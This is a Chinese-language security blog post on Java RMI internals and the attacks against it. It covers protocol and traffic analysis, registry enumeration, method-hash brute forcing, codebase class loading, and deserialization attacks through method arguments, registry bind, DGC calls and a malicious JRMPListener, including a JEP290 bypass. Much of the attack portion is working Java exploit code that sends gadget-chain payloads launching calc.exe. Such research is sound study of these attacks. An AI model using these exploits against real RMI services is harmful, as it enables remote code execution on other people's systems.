JAVA 协议安全笔记-RMI篇

Eki 2022-02-11 11:32:00

0x00 RMI介绍

RMI的全名为Remote Method Invocation即远程方法调用,他的出现是为了解决一个问题,如何在本地透明的调用远程服务器上的方法。废话不多说,我们直接从一个用例来快速上手。

QuickStart

Server

在RMI远程调用中,类似c语言中的头文件和源文件,我们的声明和实现是分开的(客户端只关心调用结果而不关系实现方法),所以我们需要抽象出一个接口,为了让其能被远程调用我们需要让这个接口继承java.rmi.Remote

package xyz.eki;

import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;

public interface ICalc extends Remote {
    public Integer sum(List<Integer> params) throws RemoteException;
}

然后我们实现这个接口

package xyz.eki;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.List;

public class Calc extends UnicastRemoteObject implements ICalc{
    private int baseNumber = 123;

    protected Calc() throws RemoteException {
    }

    @Override
    public Integer sum(List<Integer> params) throws RemoteException {
        Integer sum = baseNumber;
        for (Integer param : params) {
            sum += param;
        }
        return sum;
    }
}

Server部分所需要的东西就完成了

Registry

Registry的注册很简单,只需要调用java给我们提供好的Registry类即可,这里我们调用LocateRegistry.createRegistry建立一个Registry,监听1099端口,同时将clac这个对象实例绑定到register的"calc"路径上。

{
    Registry registry = LocateRegistry.createRegistry(1099);
    ICalc calc = new Calc();
    registry.bind("calc",calc);
}

我们也可以直接使用java.rmi.Naming提供的静态方法

Naming.bind("rmi://example.com:1099/calc", clac);

可以看到Registry和Server的耦合程度是比较高的。这段代码同时提供了Server和Registry的作用。事实上,在jdk8u141之后Registry通过AccessController对注册请求IP有要求,只允许本机ip进行注册。

Client

通过Registry远程调用Server上实例对象的方法,因为只需要接口的方法,所以只要在Client端有一份接口的定义就行了。

package xyz.eki;

import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;

public interface ICalc extends Remote {
    public Integer sum(List<Integer> params) throws RemoteException;
}

然后通过LocateRegistry.getRegistry方法访问Registry得到registry对象,通过lookup方法拿到绑定在"calc"上的实例对象,并调用其方法

package xyz.eki;


import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.List;

public class Main {
    public static void main(String[] args) {
        try {
             Registry registry = LocateRegistry.getRegistry("192.168.111.1", 1099);
            ICalc calc = (ICalc) registry.lookup("calc");
            List<Integer> li = new ArrayList<Integer>();
            li.add(1);
            li.add(2);
            System.out.println(calc.sum(li));
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

实际效果

可以看到最后在客户端输出的结果为126

这也就印证了我们之前说的对象实际是在远程服务端执行方法然后再把结果回传给客户端

发生了什么

关于协议的介绍,官方的链接如下:

https://docs.oracle.com/javase/9/docs/specs/rmi/protocol.html

经过一段时间的摸索后,我个人简单的归纳如下

首先注册中心,LocateRegistry.createRegistry启动了一个注册网关监听给定的地址。

然后服务端生成一个远程对象(需实现Remote接口),UnicastRemoteObject会把这个对象广播出去,也即启动一个监听地址并生成对应的ObjID(该值唯一),所以其实有两种方式广播,具体可以见下面文章的讨论:

https://stackoverflow.com/questions/2194935/java-rmi-unicastremoteobject-what-is-the-difference-between-unicastremoteobje

此后,服务端需要把这个远程对象注册到注册中心上,所以需要访问注册中心,发送一个bind请求,包括注册名和一个存根(这个存根包含远程对象的接口名,ObjID,和监听的地址),注册中心会维护一张注册表,维护注册名和远程对象存根的关系。

这些工作完成后,客户端就可以调用远程对象的方法了。

  1. 首先访问注册中心,根据注册名找对应的远程对象,这个时候注册中心会根据维护的注册表返回对应远程对象存根
  2. 客户拿到远程存根的信息,通过存根访问服务端远程对象监听的地址,通过客户端已知的远程对象的方法名和参数类型访问服务端对应的方法,传递方法所需的参数。
  3. 服务端的远程对象监听到客户端的消息,根据客户端提供的方法信息和参数,执行自身的方法,并将结果回传给客户端,完成整个调用流程。

下面是简单画的流程示意图

更具体的,对于发生在客户端和服务端的交互来说,客户端存了一份远程对象存根Stub和服务端实际上远程对象(Skeleton)进行沟通.

事实上,Registry也是一种远程对象,所以有sun.rmi.registry.RegistryImpl_Stubsun.rmi.registry.RegistryImpl_Skel这两个类来进行处理

如果想要更好的调试整个过程,可以在idea中给几个函数下断点进行调试分析

  • Server/Client端操作Registrysun.rmi.registry.RegistryImpl_Stub 下面的bind/lookup/...等方法

  • Registy端实际处理sun.rmi.registry.RegistryImpl_Skel#dispatch然后调用sun.rmi.registry.RegistryImpl的相关函数

此外,我们可以认为Registry也是一个特殊的远程对象,下面统称为服务端

  • 服务端通过java.rmi.server.UnicastRemoteObject#exportObject开启指定端口上的远程对象服务
  • 服务端通过sun.rmi.transport.tcp.TCPTransport#handleMessages中的循环来监听输入流
  • 客户端使用sun.rmi.server.UnicastRef#invoke来调用服务端远程对象的方法。对应的,服务端远程对象使用sun.rmi.UnicastServerRef来处理远端对本服务对象的调用。

流量分析

根据上面的流程我们便能理解下面的TCP层消息格式了

Request:

|magic|version|protocol|opType|objid|opNum|hash|object|

  • 在lookup时,因为我们访问的对象是公共已知的远程对象Registry我们的objid为0,opNum和对应的hash值可以在反编译的源码中查到,object为对应函数的参数,比如下面是客户端调用注册中心lookup方法对应的各参数值:

  • 在call时,我们的objid为远程对象的objid,opNum为-1,hash为sun.rmi.server.Util#computeMethodHash计算出来的函数哈希,object为传递的方法参数

Response:

|returnValue|returnType|uuid|object|

常规的returnValve就是0x51

这个通信协议也就是实现RMI的应用层协议--JRMP (Java Remote Method Protocol)

下面我们通过流量的角度来对RMI进行分析,也是对我们刚才消息格式的一个验证。

运行逻辑为

  1. 启动Registry
  2. 启动Server绑定IMath
  3. 启动Client lookup Registry
  4. Client 调用 IMath.add

流量包如下

  1. tcp stream 0

对应bind过程,服务端将远程对象存根注册到Registry上,这里的http://192.168.111.1:9080是服务端指定的codebase(具体在后文说明)

  1. tcp stream 1

因为Server的服务绑定在192.168.56.1上 ,Registry向Server提供的远程服务请求DGC,随后远程服务返回一个Lease。

  1. tcp stream 2

此时Client向Registry发出请求获取远程对象

对应lookup过程

  1. tcp stream 3

Client向Server提供的远程服务请求DGC,随后远程服务返回一个Lease,此后Client调用远程方法。

等等,好像和我们想的不太一样,为什么会出现DGC请求,DGC请求是什

DGC(distributed garbage-collection) 是指JAVA支撑远程方法调用设计的一套分布式垃圾收集协议。DGC有两个方法,一个是dirty,一个是clean具体的来说

  • 客户端在调用远程方法时,首先会向服务端发起一次dirty call,以通知服务端短时间内不要回收对应的远程对象

  • 服务端返回给客户端一个lease,该对象告诉了客户端接下来多久的时间内该对象是有效的。如果客户端在时间到期后还需要使用该对象,则需要继续调用dirty call

  • DGCClient会跟踪每一个dirty call对应的liveRef,当他们在客户端已经不再有效后,就会发起clear call告诉服务端可以回收有关对象了。

DCG相关源码如下:

https://github.com/frohoff/jdk8u-jdk/blob/master/src/share/classes/sun/rmi/transport/DGCClient.java

0x01 信息泄露问题

既然list方法可以返回有的绑定名,那么我们可不可以去通过list+lookup的方式遍历获得所有的远程方法信息呢

try {
    RMIRegistryEndpoint rmiRegistry = new RMIRegistryEndpoint(host,port);
    Remote[] remoteObjList = rmiRegistry.packup(rmiRegistry.list());
}catch (Throwable t){
    t.printStackTrace();
}

这里的rmiRegistry是对Registry类的一个包装,packup相当于foreach name in list: lookup(name)

但是当我们测试的时候发现直接报错了,而且报的错还是java.lang.ClassNotFoundExceptionjava.rmi.UnmarshalException,一个说明实例化远程接口需要本地加载对应的类,而此处我们没有对应的类,一个说明rmi的过程中肯定涉及到反序列化,这里因为没有对应类造成反序列化失败。

那么一个简单的思路就是在本地先把这些接口类创建好。因为根据报错信息我们是可以知道类名。

通过阅读remote_method_guesser项目的源码,我发现作者是通过重载RMIClassLoader的方式来操作的

rmi提供了一个RMIClassLoaderSpi的抽象类用来加载远程类,其默认的实现是RMIClassLoader,这里我们对他进行继承重写。

public class CustomRMIClassLoader extends RMIClassLoaderSpi {

    private static RMIClassLoaderSpi originalLoader = RMIClassLoader.getDefaultProviderInstance();
    private static HashMap<String,Set<String>> codebases = new HashMap<>();

    @Override
    public Class<?> loadClass(String codebase, String name, ClassLoader defaultLoader) throws MalformedURLException, ClassNotFoundException {
        Class<?> resolvedClass = null;

        //不从远程加载取消codebase 
        codebase = null;
        try{
            if (name.endsWith("_Stub"))
                ReflectUtils.makeLegacyStub(name);

            resolvedClass = originalLoader.loadClass(codebase,name,defaultLoader);
        }catch (CannotCompileException |NotFoundException e){
            ExceptionHandler.internalError("loadClass", "Unable to compile unknown stub class.");
        }

        return resolvedClass;
    }

    @Override
    public Class<?> loadProxyClass(String codebase, String[] interfaces, ClassLoader defaultLoader) throws MalformedURLException, ClassNotFoundException {
        Class<?> resolvedClass = null;
        try{
            for (String interfaceName:
                 interfaces) {
                ReflectUtils.makeInterface(interfaceName);
            }

            codebase = null;
            resolvedClass = originalLoader.loadProxyClass(codebase,interfaces,defaultLoader);

        } catch (CannotCompileException e) {
            ExceptionHandler.internalError("loadProxyClass", "Unable to compile unknown interface class.");
        }

        return resolvedClass;
    }

    @Override
    public ClassLoader getClassLoader(String codebase) throws MalformedURLException {
        codebase = null;
        return originalLoader.getClassLoader(codebase);
    }

    @Override
    public String getClassAnnotation(Class<?> cl) {
        return originalLoader.getClassAnnotation(cl);
    }
}

可以看到我们采取的方案是取消codebase(这里对codebase的作用留一个疑问,在下个部分来讨论),通过本地javaassit来动态构建接口,再调用默认的实现来加载类,因为此时我们的接口类已经由本地javaassit构建好了,所以不会报ClassNotFound的错误。其中动态构造类的源码如下。

public class ReflectUtils {

    private static ClassPool pool;
    private static CtClass remoteClass;
    private static CtClass remoteStubClass;
    private static Set<String> createdClasses;

    /**
     * 初始化存储remoteClass和remoteStubClass方便生成接口时调用
     */
    static {
        pool = ClassPool.getDefault();

        try {
            remoteClass = pool.getCtClass(Remote.class.getName());
            remoteStubClass = pool.getCtClass(RemoteStub.class.getName());
        } catch (NotFoundException e) {
            ExceptionHandler.internalError("ReflectUtil.init", "Caught unexpected NotFoundException.");
        }

        createdClasses = new HashSet<String>();
    }

    /**
     * 将RMIClassLoader设置我们自定义的RMICLASSLoader
     */
    public static void enableCustomRMIClassLoader()
    {
        System.setProperty("java.rmi.server.RMIClassLoaderSpi", "xyz.eki.jim.internal.CustomRMIClassLoader");
    }

    /**
     * 生成对应的远程接口,继承自Remote
     *
     * @param className 类名
     * @return created 生成类
     * @throws CannotCompileException 编译错误
     */
    public static Class makeInterface(String className) throws CannotCompileException
    {
        try {
            return Class.forName(className);
        } catch (ClassNotFoundException e) {}

        CtClass intfClz = pool.makeInterface(className, remoteClass);
        createdClasses.add(className);

        return intfClz.toClass();
    }

    /**
     * 设置类serialVersionUID字段为2L,对于一些远程类有用
     *
     * @param ctClass class where the serialVersionUID should be added to
     * @throws CannotCompileException should never be thrown in practice
     */
    private static void addSerialVersionUID(CtClass ctClass) throws CannotCompileException
    {
        CtField serialID = new CtField(CtPrimitiveType.longType, "serialVersionUID", ctClass);
        serialID.setModifiers(Modifier.PRIVATE | Modifier.STATIC | Modifier.FINAL);
        ctClass.addField(serialID, CtField.Initializer.constant(2L));
    }

    /**
     * 这个函数与makeInterface类似,但是作用于传统的RMI Remote Stub机制
     * 其中生成的临时接口类需要设置serialVersionUID为2来满足RMI RemoteStub的默认值
     */
    public static Class makeLegacyStub(String className) throws CannotCompileException, NotFoundException
    {
        try {
            return Class.forName(className);
        } catch (ClassNotFoundException e) {}

        makeInterface(className + "Interface");
        CtClass intf = pool.getCtClass(className + "Interface");

        CtClass ctClass = pool.makeClass(className, remoteStubClass);
        ctClass.setInterfaces(new CtClass[] { intf });
        addSerialVersionUID(ctClass);

        createdClasses.add(className);
        return ctClass.toClass();
    }
}

运行后可以发现不报错了,并且能看到回传的Remote的相关信息

remote = {RemoteObjectWrapper@1265} 
 objID = {ObjID@1269} "[50c546cf:17e95126bdd:-7fff, -2439501915752422164]"
 className = "xyz.eki.vulrmi.remote.IMath"
 boundName = "math"
 remoteObject = {$Proxy0@1270} "Proxy[IMath,RemoteObjectInvocationHandler[UnicastRef [liveRef: [endpoint:[192.168.56.1:32586](remote),objID:[50c546cf:17e95126bdd:-7fff, -2439501915752422164]]]]]"
  h = {RemoteObjectInvocationHandler@1355} "RemoteObjectInvocationHandler[UnicastRef [liveRef: [endpoint:[192.168.56.1:32586](remote),objID:[50c546cf:17e95126bdd:-7fff, -2439501915752422164]]]]"
    ref = {LiveRef@1357} "[endpoint:[192.168.56.1:32586](remote),objID:[50c546cf:17e95126bdd:-7fff, -2439501915752422164]]"
   ref = {UnicastRef@1271} 
      host = "192.168.56.1"
     ep = {TCPEndpoint@1272} "[192.168.56.1:32586]"
      port = 32586
      csf = null
      ssf = null
      listenPort = -1
      transport = null
     id = {ObjID@1269} "[50c546cf:17e95126bdd:-7fff, -2439501915752422164]"
      objNum = -2439501915752422164
      space = {UID@1361} "50c546cf:17e95126bdd:-7fff"
       unique = 1355105999
       time = 1643178519517
       count = -32767
     ch = null
     isLocal = false

通过反射我们可以将这些信息提取出来,整体效果如下

从这个地方我们也可以验证RMI的远程对象实际上是存在Server上而不是registry上的,因为他的host和port并不是registry的。同时也可以验证Server只是给Registry发了一个存根信息,包括他的ObjID,host,port而不包括远程对象实际上有的方法。这一点做的是比较安全的,方法相当于客户端和服务端共有的密钥。这样一来,即使一个恶意用户访问了网关(Registry是没有做权限设计的),拿到了Server提供的地址,也没法调用服务端的方法。不过,根据之前我们对协议的分析。Server端确定调用的方法是通过方法哈希进行计算的

计算规则如下

    public static long computeMethodHash(Method method) {
        long hash = 0L;
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(127);

        try {
            MessageDigest sha1 = MessageDigest.getInstance("SHA");
            DataOutputStream dataOutputStream = new DataOutputStream(new DigestOutputStream(byteArrayOutputStream, sha1));
            String methodNameAndDescriptor = getMethodNameAndDescriptor(method);

            dataOutputStream.writeUTF(methodNameAndDescriptor);
            dataOutputStream.flush();
            byte[] hashArray = sha1.digest();

            for(int i = 0; i < Math.min(8, hashArray.length); ++i) {
                hash += (long)(hashArray[i] & 255) << i * 8;
            }
        } catch (IOException ignore) {
            hash = -1L;
        } catch (NoSuchAlgorithmException complain) {
            throw new SecurityException(complain.getMessage());
        }

        return hash;
    }

其中methodNameAndDescriptor就是方法名+方法签名(方法返回值+方法参数类型),可以直接通过javap命令获取,也可以按照下面帖子的计算规则。

https://stackoverflow.com/questions/8066253/compute-a-java-functions-signature/8066268

那么和口令爆破类似,我们可以准备一个常见rmi方法的字典,对Server端进行爆破。remote_method_guess这个工具就实现了这一功能。

0x02 远程加载类安全问题

在上文的报错中,我们了解到因为我们本地没有加载xyz.eki.vulrmi.remote.IMath这个类导致lookup失败。那么正常的情况下能否从远程拿到类信息呢。这里就要介绍我们在上文中没有具体展开的codebase参数了。

类似classpath,java还提供了一种寻找类的方式,如果说classpath是在本地找类加载的机制,那么codebase就是提供了一种从远程寻找类加载的机制(官方文档链接:https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/codebase.html

根据报错,为了进行测试,我们在Client端配置SecurityManager。

if (System.getSecurityManager() == null) {
                System.out.println("setup SecurityManager");
                System.setSecurityManager(new SecurityManager());
            }

并在Client启动时加入下面的参数(VM Options)

-Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=vuln.policy

和相关policy,这里直接允许所有权限

//vuln.policy
grant {
    permission java.security.AllPermission;
};

在Registry端(有IMath类)启动时指定VM options

-Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://192.168.111.1:9080/ 

再运行我们的客户端(没有IMath类)。

public class Client {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.getRegistry( 21099);
            IMath math = (IMath) registry.lookup("math");
            System.out.println(math.equ(CC6.getPayloadObject(),1));
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

可以看到当客户端连接服务器找不到IMath时,就会从Registry端指定的codebase里去找,也就打到了我们监听的服务器上。

很容易想到这里是一个可以利用的点用来攻击客户端。同样的,如果是服务端在接受客户端请求时找不到类,那么他也会到客户端指定的codebase去找,也是一条攻击路径。Registry,Server,Client两两都可以相互通过codebase加载需要使用的远程类。并且该行为会触发类的static block导致任意命令执行。

因为从远程codebase加载类具有高危性,所以只有满足如下条件的RMI客户端/服务端才能被攻击:

  • 安装并配置了SecurityManager
  • 设置了 java.rmi.server.useCodebaseOnly=false 或者Java版本低于7u21、6u45(此时该值默认为false)

0x03 序列化安全问题

通过前面的协议分析我们知道,对于RMI来说,实际上对象是绑定在本地 JVM 中,只有函数参数和返回值是通过网络传送的。那么在传输中就会涉及到三部分的序列化/反序列化。

  • 函数参数的序列化/反序列化
  • 函数返回值的序列化/反序列化
  • 函数异常处理的序列化/反序列化

下面我们一个个的来分析其安全问题。

远程方法参数反序列化 (服务端提供的远程方法)

在前文对RMI通信过程的介绍中我们知道为了在网络中传输数据会对传递的对象进行序列化和反序列化。我们首先能想到调用函数参数的传递一定是经过序列化和反序列化的。那么我们不妨设计一个。

public interface IMath extends Remote {
   Integer add(Integer a,Integer b) throws RemoteException;
   Object equ(Object a,Object b) throws RemoteException;
}

客户端打服务端,果然执行了反序列化

这里我们不妨再思考一个问题,因为传输的数据是都是序列化数据,如果我们通过某种方法让本来不是Object的参数,在传递数据的时候仍然传递的是一个Object,那么能不能触发反序列化呢。

要实验这一点首先直接改函数肯定是不行的,因为远程对象要确定我们调用的是那个方法,必然会对调用的方法有一个签名标记,如果我们在本地改函数,远程就不知道我们调的函数是啥了。

在Server端的sun.rmi.server.UnicastServerRef#dispatch下断点

化简一下大概流程

//var4是传入的Method hash 拿到对应的method
Method var42 = (Method)this.hashToMethod_Map.get(var4);
//var1是远程对象 var7是传入的参数输入流  调用this.unmarshalParameter对应的去反序列化成参数
var9 = this.unmarshalParameters(var1, var42, var7);
//最后调用方法得到结果
var10 = var42.invoke(var1, var9);

this.unmarshalParameters最后会走到sun.rmi.server.UnicastRef#unmarshalValue

    protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {
        if (var0.isPrimitive()) {
            if (var0 == Integer.TYPE) {
                return var1.readInt();
            } else if (var0 == Boolean.TYPE) {
                return var1.readBoolean();
            } else if (var0 == Byte.TYPE) {
                return var1.readByte();
            } else if (var0 == Character.TYPE) {
                return var1.readChar();
            } else if (var0 == Short.TYPE) {
                return var1.readShort();
            } else if (var0 == Long.TYPE) {
                return var1.readLong();
            } else if (var0 == Float.TYPE) {
                return var1.readFloat();
            } else if (var0 == Double.TYPE) {
                return var1.readDouble();
            } else {
                throw new Error("Unrecognized primitive type: " + var0);
            }
        } else {
            return var0 == String.class && var1 instanceof ObjectInputStream ? SharedSecrets.getJavaObjectInputStreamReadString().readString((ObjectInputStream)var1) : var1.readObject();
        }
    }

可以看到如果传入的参数类型不是int/boolean/...基本类型(通过var0.isPrimitive()判断),就会走到var1.readObject();调用反序列化,触发攻击链。我这里实验使用的版本是8u251,在u242之前,String类也是直接调用的readObject。不过问题不大,我们这边使用的方法的参数类型是Integer,任然走的readObject,所以会触发反序列化。

这里直接通过JAVA Socket发包进行反序列化,参考了yxxx师傅的代码

    public static void sendRawCall(String host, int port, ObjID objid, int opNum, Long hash, Object ...objects) throws Exception {
        Socket socket = SocketFactory.getDefault().createSocket(host, port);
        socket.setKeepAlive(true);
        socket.setTcpNoDelay(true);
        DataOutputStream dos = null;
        try {
            OutputStream os = socket.getOutputStream();
            dos = new DataOutputStream(os);

            dos.writeInt(TransportConstants.Magic);
            dos.writeShort(TransportConstants.Version);
            dos.writeByte(TransportConstants.SingleOpProtocol);
            dos.write(TransportConstants.Call);

            final ObjectOutputStream objOut = new MarshalOutputStream(dos);

            objid.write(objOut); //Objid
            objOut.writeInt(opNum); // opnum
            objOut.writeLong(hash); // hash

            for (Object object:
                 objects) {
                objOut.writeObject(object);
            }

            os.flush();
        } finally {
            if (dos != null) {
                dos.close();
            }
            if (socket != null) {
                socket.close();
            }
        }
    }

    public static void main(String[] args) {
        try {
            ReflectUtils.enableCustomRMIClassLoader();
            RMIRegistryEndpoint rmiRegistry = new RMIRegistryEndpoint("127.0.0.1",21099);
            //还记得遍历攻击里我们实现的无依赖获取远程对象存根吗,这里直接套用了。
            RemoteObjectWrapper remoteObj = new RemoteObjectWrapper(rmiRegistry.lookup("math"),"math");
            Object payloadObj = CC6.getPayloadObject("calc.exe");
            //methodSignature 可以通过javap -s 类名计算
            final String methodSignature = "add(Ljava/lang/Integer;Ljava/lang/Integer;)Ljava/lang/Integer;";
            //这里直接扒了rmi对应的源码
            Long methodHash = RemoteUtils.computeMethodHash(methodSignature);
            sendRawCall(remoteObj.getHost(),remoteObj.getPort(),remoteObj.objID,-1,methodHash,payloadObj);
        }catch (Throwable t){
            t.printStackTrace();
        }
    }

效果如下

原理简单来说就是当远程函数的参数不是基本类型时(在jdk8u242后如果参数类型是String也不会调用),反序列化参数输入流会调用readObject导致反序列化攻击。

值得一提的是在跟进unmarshalParameters的过程中,发现远程对象如果实现了DeserializationChecker,则在反序列化的过程中会调用对应方法对序列化数据进行检查

    private Object[] unmarshalParameters(Object var1, Method var2, MarshalInputStream var3) throws IOException, ClassNotFoundException {
        return var1 instanceof DeserializationChecker ? this.unmarshalParametersChecked((DeserializationChecker)var1, var2, var3) : this.unmarshalParametersUnchecked(var2, var3);
    }

远程方法参数反序列化2 (注册中心Registry提供的远程方法)

既然调用远程方法传递参数会导致反序列化,注意到Registry本身就是一个远程对象,那么我们在调用Registry方法的时候,会不会触发反序列化呢。

以bind函数为例

java.rmi.registry.Registry#bind
    public void bind(String name, Remote obj)
        throws RemoteException, AlreadyBoundException, AccessException;

就符合我们之前对方法的要求,name和obj参数都可能存在反序列化点。

当在远程调用bind函数时,在JEP290出现之前(jdk版本低于6u141, 7u131,8u121)服务端对应的代码如下

if (var4 != 4905912898345647071L) {
            throw new SkeletonMismatchException("interface hash mismatch");
case 0:
    try {
        var11 = var2.getInputStream();
        //var7是bound name
        var7 = (String)var11.readObject();
        //var8是remote object
        var8 = (Remote)var11.readObject();
    } catch (IOException var94) {
        throw new UnmarshalException("error unmarshalling arguments", var94);
    } catch (ClassNotFoundException var95) {
        throw new UnmarshalException("error unmarshalling arguments", var95);
    } finally {
        var2.releaseInputStream();
    }

    var6.bind(var7, var8);

    try {
        var2.getResultStream(true);
        break;
    } catch (IOException var93) {
        throw new MarshalException("error marshalling return", var93);
    }

可以发现name和Obj都是直接反序列化的,那么和之前调用Server远程函数一样我们从协议层可以直接构造发包

public class AttackBind {
    public static void main(String[] args) {
        try {
            ReflectUtils.enableCustomRMIClassLoader();
            Object payloadObj = CC6.getPayloadObject("calc.exe");

            ObjID objID_ = new ObjID(0);

            //sendRawCall和之前一致 构造bind(obj,null)包
            sendRawCall("127.0.0.1",21099,objID_,0,4905912898345647071L,payloadObj);
        }catch (Throwable t){
            t.printStackTrace();
        }
    }
}

当然用object触发也行

此外,也可以通过代理类的方式包装payloadObject实现remote接口,直接调用bind方法。比较常见的也是ysoserial采用的利用sun.reflect.annotation.AnnotationInvocationHandler代理原来的Obj实现Remote接口的方式,代码如下

Object payload = CC6.getPayloadObject("calc.exe");

Map<String, Object> map = new HashMap<>();
map.put("whatever", payload);
Constructor constructor =  Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler  = (InvocationHandler) constructor.newInstance(Override.class, map);
Remote obj = (Remote) Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, invocationHandler);

registry.bind("evil", obj);

类似的,unbind/lookup/rebind也会出现这也的问题,list因为没有参数所以无法利用

但是这些攻击方法在JEP290出现后都失效了,我们切换java版本发现远端服务器拒绝了我们的反序列化请求

JEP290简单来说就是为了缓解java反序列化安全问题,支持在readObject的过程中添加自定义的过滤规则。通过JEP290,不止在rmi协议中,在其他反序列化场景也可以有效拦截恶意的序列化值。

sun.rmi.registry.RegistryImpl#registryFilter处下断点,然后开始调试,可以发现过滤器是在obj.readObject()语句中进入的,直接对反序列化输入流进行检测,就不好绕过了。

return String.class != var2 
&&!Number.class.isAssignableFrom(var2) 
&& !Remote.class.isAssignableFrom(var2) 
&& !Proxy.class.isAssignableFrom(var2) 
&& !UnicastRef.class.isAssignableFrom(var2) 
&& !RMIClientSocketFactory.class.isAssignableFrom(var2) 
&& !RMIServerSocketFactory.class.isAssignableFrom(var2) 
&& !ActivationID.class.isAssignableFrom(var2) 
&& !UID.class.isAssignableFrom(var2) 

? Status.REJECTED : Status.ALLOWED;

远程函数返回值导致的反序列化

这个就很好理解了,远端起一个恶意的rmi服务,返回值就是恶意的序列化值,那么客户端调用结果时就会触发反序列化

效果如下

不过这种攻击手段一般很少提及,不过其实我们想一想,之前在对流量的分析是,进行对远程的操作之前,总会先检查Lease是否存在或过期。如果没有就会先发一个DGC Call去获取一个Lease那么这个Lease如果被我们拦截伪造成一个恶意的序列化结果,不就能通过函数的返回值去触发反序列化了吗。

如果我们在之前对RMI过程进行过调试的话,会发现有时候sun.rmi.server.UnicastServerRef#dispatch除了会传入我们使用的远程对象,还会传入一个DGC_Impl的远程对象,这其实就是类似Registry_Impl的一个远程对象。

分析对应Skel代码

分析对应代码可以看到可以看到不论是调用远程的clean(case:0)还是dirty(case:1)方法都会涉及到返回结果的反序列化。

那么还是一样的,我们直接构造一个Dirty Call请求,就能触发registry的反序列化

public class AttackByDGC {
    public static void main(String[] args) throws Exception {
        String registryHost = "127.0.0.1";
        int registryPort = 21099;
        final Object payloadObject = CC6.getPayloadObject("calc.exe");
        ObjID objID = new ObjID(2);
        RemoteUtils.sendRawCall(registryHost, registryPort,  objID, 0, -669196253586618813L,payloadObject);
    }
}

或者打Server

public class AttackByDGC {

    public static void main(String[] args) throws Exception {

        ReflectUtils.enableCustomRMIClassLoader();
        RMIRegistryEndpoint rmiRegistry = new RMIRegistryEndpoint("192.168.111.1",1099);
        RemoteObjectWrapper remoteObj = new RemoteObjectWrapper(rmiRegistry.lookup("math"),"math");
        Object payloadObject = CC6.getPayloadObject("calc.exe");


        ObjID objID = new ObjID(2);
        RemoteUtils.sendRawCall(remoteObj.getHost(), remoteObj.getPort(),  objID, 0, -669196253586618813L,payloadObject);
    }
}

效果如下

不过同样也会被JEP290拦截,原理是类似的,oracle在dgc层也做了反序列化过滤

远程方法报错信息导致的反序列化(JRMP协议引发的反序列化)

如果我们仔细观察上文中的流量包的话,会发现每次对远程对象的调用都伴随着一个JRMI,Call。这个流量包是从哪发出去的呢。在客户端UnicastRef调用excuteCall时,我们找到了这个类方法。

Response:

|returnValue|returnType|uuid|object|

    public void executeCall() throws Exception {
        DGCAckHandler var2 = null;

        byte var1;
        try {
            if (this.out != null) {
                var2 = this.out.getDGCAckHandler();
            }

            this.releaseOutputStream();
            DataInputStream var3 = new DataInputStream(this.conn.getInputStream());

            //var4: return value;
            byte var4 = var3.readByte();
            //81=0x51 正常返回
            if (var4 != 81) {
                if (Transport.transportLog.isLoggable(Log.BRIEF)) {
                    Transport.transportLog.log(Log.BRIEF, "transport return code invalid: " + var4);
                }

                throw new UnmarshalException("Transport return code invalid");
            }

            this.getInputStream();
            //return Type
            var1 = this.in.readByte();
            this.in.readID();
        } catch (UnmarshalException var11) {
            throw var11;
        } catch (IOException var12) {
            throw new UnmarshalException("Error unmarshaling return header", var12);
        } finally {
            if (var2 != null) {
                var2.release();
            }

        }

        switch(var1) {
        case 1:
            return;
        case 2:
            Object var14;
            try {
                var14 = this.in.readObject();
            } catch (Exception var10) {
            /省略一些错误处理
        }
    }

可以看到正常情况下return Type为1,

错误状态下return Type 为2,触发反序列化

那么我们的攻击路径也很明确了,就是客户端调用服务端远程方法,然后服务端返回恶意报错信息就可以触发反序列化了。因此我们需要编写一个假的服务端,ysoserialJRMPListener就实现了这一点。具体可以看源码:
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPListener.java

简单来说,就是启动一个Socket Listener,当远程客户端向Listener发起JRMP Call请求时,根据JRMP格式返回一个报错信息,将恶意的序列化数据放在数据包的object字段中,触发客户端的反序列化(这里的客户端指的是远程方法调用的客户端,可以指Client调Server也可以指Server调Registry)

发现反序列化成功了,有趣的是,即使在高版本下也会生效(这里是jdk8u251)。这是因为JEP 290只是在JRMP之上的反序列化过程中注入了Filter,而在JRMP层对错误的处理没有进行反序列化过滤。

具体的流量交互过程如下。

那么,我们还可以联想到之前Server访问Registry去bind远程对象的时候的时候,Server先调用了Registry,Registry再访问Server发了一个DGC请求。我们知道,DGC协议也是建立在JRMP协议之上的,这就会触发一个JRMI CALL,进入我们的攻击流程中。

这里借用An Trinhs文章里的图

public class AttackRegistryByJRMPListener {
    public static void main(String[] args) {
        try {
            String registryHost = "192.168.111.1";
            int registryPort = 21099;
            String JRMPHost = "192.168.111.1";
            int JRMPPort = 16999;

            Constructor<?> constructor = UnicastRemoteObject.class.getDeclaredConstructor(null);
            constructor.setAccessible(true);
            //因为UnicastRemoteObject的默认构造方式是protect的,所以需要反射调用

            UnicastRemoteObject remoteObject = (UnicastRemoteObject) constructor.newInstance(null);
            TCPEndpoint ep = (TCPEndpoint) getFieldValve(getFieldValve(getFieldValve(remoteObject,"ref"),"ref"),"ep");

            //这里直接反射修改对应的值,间接修改构造的序列化数据
            setFieldValue(ep,"port",JRMPPort);
            setFieldValue(ep,"host",JRMPHost);


            ObjID objID_ = new ObjID(0);

            //Bind("test",payloadObj)
            RemoteUtils.sendRawCall(registryHost,registryPort,objID_,0,4905912898345647071L,"test",remoteObject);

        }catch (Throwable t){
            t.printStackTrace();
        }
    }
}

效果如下,而且会因为Registry一直想要DGC Lease 会不断发DGC Call到JRMP Listener 触发反序列化导致计算器一直执行。

流量过程如下

